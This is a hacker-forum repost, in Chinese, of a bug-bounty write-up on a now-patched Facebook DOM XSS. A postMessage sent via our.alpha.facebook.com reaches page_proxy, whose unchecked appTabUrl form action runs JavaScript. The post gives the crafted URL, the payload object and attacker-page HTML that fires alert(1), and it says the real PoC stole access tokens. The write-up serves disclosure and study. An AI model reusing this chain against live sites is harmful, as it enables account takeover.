跳转到帖子

  • 游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

    赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

    TheHackerWorld官方

  • 0

Facebook中基于DOM的XSS漏洞利用分析

 分享
HACK1949

询问由 HACK1949,

问题

HACK1949 Grand Master

HACK1949

发布于
发布于

Facebook中基于DOM的XSS漏洞利用分析

5fdfe5497ed8b.png

概述

我们发现的第一个漏洞将允许一名恶意攻击者从facebook.com域名并通过postMessage来发送跨域消息。存在漏洞的终端节点将接收请求参数中用户可控制的内容，并使用postMessage中的发送消息来构建一个数据对象，该对象将与postMessage一起发送到已打开的窗口。接下来，我们所发现的第二个漏洞跟第一个漏洞有关，攻击者可以利用这个漏洞来根据Eventlistener接收到的表单提交数据来构造一个不安全的脚本。

从facebook.com源通过postMessage发送消息

存在漏洞的节点为https://www.facebook.com/payments/redirect.php，这个节点的响应信息可以由各种参数来控制。我们发现的其中一个有意思的参数为“type”，这个参数如果从平时的“i”改成了“rp”的话，它将会它将使用postMessage与打开该页面的窗口通信（如果是“i”，那么它将使用window.parent.paymentsFlows.processIFrame方法）。

1606151989_5fbbef359cb2bf619526b.png!sma

需要注意的是，目标源需要设置为our.intern.facebook.com。现在，我们知道postMessage方法仅会提供给Facebook的员工使用，因为our.intern.facebook.com这个域名只有他们才拥有完整的访问权，如果不是Facebook的员工，则会被重定向至www.facebook.com。

在这里，我试图通过访问另一个域中的同一个节点alpha.facebook.com来绕过这种限制。如果访问的是our.alpha.facebook.com/payments/redirect.php，它将会返回到our.alpha.facebook.com，因为postMessage中的targetOrigin设置的就是这个地址。跟our.intern不同的是，our.alpha不会重定向至www.。这里要注意，our.alpha.facebook.com域名包含的内容跟www.facebook.com其实是一样的。这样，我们的消息就可以传递到打开的窗口了，因为targetOrigin条件已经满足，并且会将消息发送到our.alpha.facebook.com。

现在，我们已经知道了我们要找的是包含了EventListeners的页面，而它只接收消息源为accept facebook.com的消息。

XSS漏洞的发现和利用

Facebook Canvas应用程序托管在apps.facebook.com上，如果你访问了这个域名所托管的应用程序，你将会发现Facebook会加载一个iframe中的URL，并向这个URL地址发送一个包含了类似“signed_request”参数的POST新消息。

通过跟踪请求源，我发现这个页面同样加载了iframe中的https://www.facebook.com/platform/page_proxy/？version=X，然后用postMessage向其发送消息。

page_proxy这个页面中包含下列代码：

1606152002_5fbbef42140c60ac91019.png!sma

上述这段代码主要完成了两件事情。首先，它会利用postMessage将带有frameName的消息发送到任何源。其次，它将设置一个EventListener并等待接收消息。如果收到了一条满足所有条件的消息，它将在根据消息中的数据设置其属性之后提交一个form表单。

表单构造方法submitForm()有趣的地方就在于，这个表单中的action属性会被直接设置为“a.data.params.appTabUrl”，这个地址是通过消息来接收的。URL中的“appTabUrl”字符串中的URL没有检查是否以http/https开头，因此我们就可以使用JavaScript来实现利用XSS漏洞了。

接下来，我们需要再page_proxy脚本中构造一个包含了满足所有条件的Payload对象，具体如下所示：

https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1
OBJ: {“type”:”rp”,”name”:”_self”,”params”:{“appTabUrl”:”javascript:alert(1);”,”signedRequest”:”SIGNED_X”},”platformAppControllerGetFrameParamsResponse”:”1″}

漏洞利用

目标用户需要访问攻击者托管的恶意网站，该网站页面中需要包含下列代码：

<html> <button class="button" onClick="window.open('https://attacker/page2.html', '_blank');document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';"> <span class="icon">Start Attack</span> </button> </html>

在这里，我们不打算直接重定向到page_proxy节点，因为我们需要设置一个延时来确保https://www.facebook.com/platform/page_proxy/的成功加载。

page2.html：

<html> <script> setTimeout(function(){ window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';} ,3000); </script> </html>

这里我设置了一个三秒的延迟，然后重定向到存在漏洞的页面中，并执行alert(1)，而我设置的PoC将会窃取用户的访问令牌，这个令牌将直接允许我们接管目标Facebook账号。

漏洞修复

Faceboos目前已成功修复了该漏洞，他们直接将支付重定向（/payments/redirect.php）中的postMessage组件移除了，并在appTabUrl中添加了针对http/https的检测。

链接帖子
意见的链接
分享到其他网站

这个问题有0个答案

推荐的帖子

此问题没有答案

 分享
转到问题列表

黑客攻防讨论组

黑客攻防讨论组

  
    You don't have permission to chat.

    • 最近浏览   0位会员

      • 没有会员查看此页面。

    黑客世界站内导航 (SITE MAP)

    ×
    ×
    • 创建新的...